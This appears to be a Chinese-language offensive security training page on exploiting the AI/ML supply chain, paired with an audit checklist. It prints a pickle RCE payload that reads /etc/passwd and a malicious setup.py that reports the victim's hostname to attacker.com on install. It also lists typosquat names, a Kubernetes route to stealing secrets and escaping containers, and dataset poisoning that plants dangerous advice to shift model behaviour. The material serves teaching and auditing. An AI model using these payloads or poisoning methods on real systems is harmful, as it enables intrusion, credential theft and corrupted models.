AI 供應鏈利用
為利用 AI/ML 供應鏈之方法論:模型序列化 RCE、依賴混淆、資料集投毒、CI/CD 注入與容器逃逸。
AI 供應鏈利用
AI/ML 供應鏈依賴於每層之隱式信任:作為不透明二進位 blob 下載之模型、自未驗證來源拉取之資料集,與於前處理期間執行任意程式碼之訓練管線。不同於具簽章與校驗和之傳統軟體供應鏈,ML 生態系將執行不受信任程式碼常態化為標準實務。
模型序列化攻擊
方法論
打造基本 pickle RCE payload
__reduce__方法告訴 pickle 如何重建物件。回傳os.system配 shell 命令以於pickle.loads()達成程式碼執行。import pickle, os class MaliciousModel: def __reduce__(self): return (os.system, ("id; whoami; cat /etc/passwd",)) payload = pickle.dumps(MaliciousModel()) # pickle.loads(payload) 觸發 RCE於 PyTorch 模型檔案嵌入 payload
PyTorch 之
torch.save()於內部使用 pickle。建立於torch.load()期間執行 payload 之木馬模型同時回傳有效權重使受害者不注意到任何錯誤。經 HuggingFace Hub 分發
使用下述攻擊向量之一上傳武器化模型至 HuggingFace Hub。
HuggingFace 攻擊向量
| 向量 | 技術 | 偵測難度 |
|---|---|---|
| 拼寫字排擠 | 上傳與熱門儲存庫類似名稱之模型(如 meta-Ilama vs meta-llama) | 低 —— 需使用者注意到拼寫錯誤 |
| 惡意自訂程式碼 | config.json 指向自訂 modeling_*.py,其於 trust_remote_code=True 執行 | 中 —— 程式碼可見但極少審查 |
| 投毒之 tokenizer | 自訂 tokenizer_config.json 引用可執行 tokenizer 程式碼 | 高 —— 掃描器聚焦於模型檔案 |
| 模型卡釣魚 | 具導向木馬化外部下載之惡意連結之 README | 低 —— 社交工程 |
Safetensors 限制
Safetensors 解決權重儲存但具重要缺口:
- 模型可能仍需 pickle 為最佳化器狀態、訓練組態或自訂架構
- 載入器可能於 safetensors 檔案遺失時退回 pickle
trust_remote_code=True無論權重格式執行任意 Python- 模型卡可主張 safetensors 格式而實際檔案為 pickle
依賴混淆與拼寫字排擠
依賴混淆 利用私有與公開套件索引間之互動。
攻擊步驟
辨識內部套件名稱
自職缺、GitHub 儲存庫、錯誤訊息或文件洩漏列舉內部 ML 套件名稱。
以高版本發布至公開 PyPI
建立具同一名稱與版本
99.0.0之套件。若目標使用--extra-index-url(而非--index-url),pip 自公開 PyPI 安裝較高版本。# 為惡意套件之 setup.py from setuptools import setup import os, urllib.request try: hostname = os.uname().nodename urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}") except: pass setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])利用拼寫字排擠以較廣目標
針對常被拼寫錯誤之 ML 套件名稱。
常見拼寫字排擠目標
| 合法套件 | 拼寫字排擠變體 |
|---|---|
transformers | transformer、transfomers、transformrs |
torch | pytoch、tourch、troch |
tensorflow | tenserflow、tensorflw |
langchain | langchian、lanchain |
openai | opanai、openaii |
資料集投毒
於 HuggingFace Datasets、Kaggle 與學術儲存庫之資料集以最小驗證被消耗。兩主要攻擊模式:
| 攻擊 | 方法 | 影響 |
|---|---|---|
| 公開資料集操弄 | 提交加入具微細危險建議之合理樣本之 PR(如「將 API 金鑰儲存於原始碼」) | 於規模移轉模型行為而無任何單一樣本被標記 |
| 資料管線注入 | 受損訓練組態引用之外部資料 URL,或 DNS 劫持資料來源 | 對訓練資料之完整控制而無需繞過完整性檢查 |
CI/CD 管線注入
脆弱 ML 管線檢核表
為這些四關鍵缺陷稽核 ML 訓練工作流程:
| 漏洞 | 風險 | 尋找何 |
|---|---|---|
| 於自我託管執行器之 PR 觸發建置 | Fork PR 於 GPU 基礎設施執行任意程式碼 | on: pull_request + runs-on: [self-hosted, gpu] |
| 未釘選依賴 | 於 pip install 期間之依賴替換 | 無版本釘選或雜湊之 pip install -r requirements.txt |
| 對 PR 建置之密鑰暴露 | API 金鑰被 fork 貢獻者外洩 | 於 PR 觸發工作中之 ${{ secrets.* }} |
| 未驗證資料下載 | 經 MITM 或 DNS 劫持替換訓練資料 | 無完整性檢查之 python scripts/download_data.py |
實驗追蹤作為攻擊面
以 MLflow 追蹤伺服器存取,攻擊者可:
- 改變訓練執行載入之超參數
- 將產物引用重導至惡意模型檢查點
- 修改資料集版本標籤以指向投毒資料
- 以木馬化檢查點覆寫生產模型註冊
ML 基礎設施中之容器逃逸
GPU 容器攻擊面
GPU 容器擴展標準容器攻擊面因其典型需:
| 要求 | 安全影響 |
|---|---|
特權模式或 /dev/nvidia* 存取 | 核心層級提升路徑 |
| NVIDIA Container Toolkit | 額外驅動程式攻擊面 |
大共享記憶體(/dev/shm) | 跨容器資料洩漏 |
| 為模型/資料儲存之 NFS 掛載 | 對生產模型與資料湖之橫向存取 |
GPU 記憶體殘餘掃描
於共享 GPU 基礎設施上,先前租戶之資料(模型權重、訓練樣本、API 金鑰)可能於未初始化 GPU 記憶體持續。經 torch.empty(..., device='cuda') 分配未初始化張量並掃描非零值。
Kubernetes ML 叢集提升路徑
受損訓練工作
經投毒之依賴或資料管線注入。
讀取掛載密鑰
自掛載之 Kubernetes 密鑰之 AWS 憑證、HuggingFace token。
存取共享模型儲存
以木馬版本取代 NFS 掛載上之生產模型。
樞紐至資料湖
自共享掛載外洩訓練資料。
逃逸至節點
使用特權容器存取(
privileged: true)以節點層級受損。
供應鏈稽核檢核表
| 區域 | 關鍵問題 |
|---|---|
| 模型來源 | 校驗和驗證?weights_only=True 或 safetensors?trust_remote_code 審查?儲存庫釘選至 commit? |
| 依賴 | 確切版本釘選?具優先度之私有 PyPI?雜湊驗證(--require-hashes)?傳遞依賴稽核? |
| 資料完整性 | 資料集校驗和?具憑證驗證之 TLS?前處理腳本程式碼審查?追蹤來源? |
| CI/CD | PR 執行受限?密鑰範圍為分支?自我託管執行器隔離並短暫?訓練/部署分離? |
| 容器 | 於無 --privileged 下執行?租戶間清除 GPU 記憶體?映像掃描?網路出口受限? |
相關主題
你之目標使用 --extra-index-url 為私有 PyPI 索引旁邊之公開 PyPI。為何此對依賴混淆脆弱?
參考資料
- OWASP Machine Learning Security Top 10 —— ML 特定供應鏈風險
- Hugging Face Security —— 模型中樞安全文件
- Fickling: Pickle decompiler and static analyzer —— Trail of Bits pickle 安全工具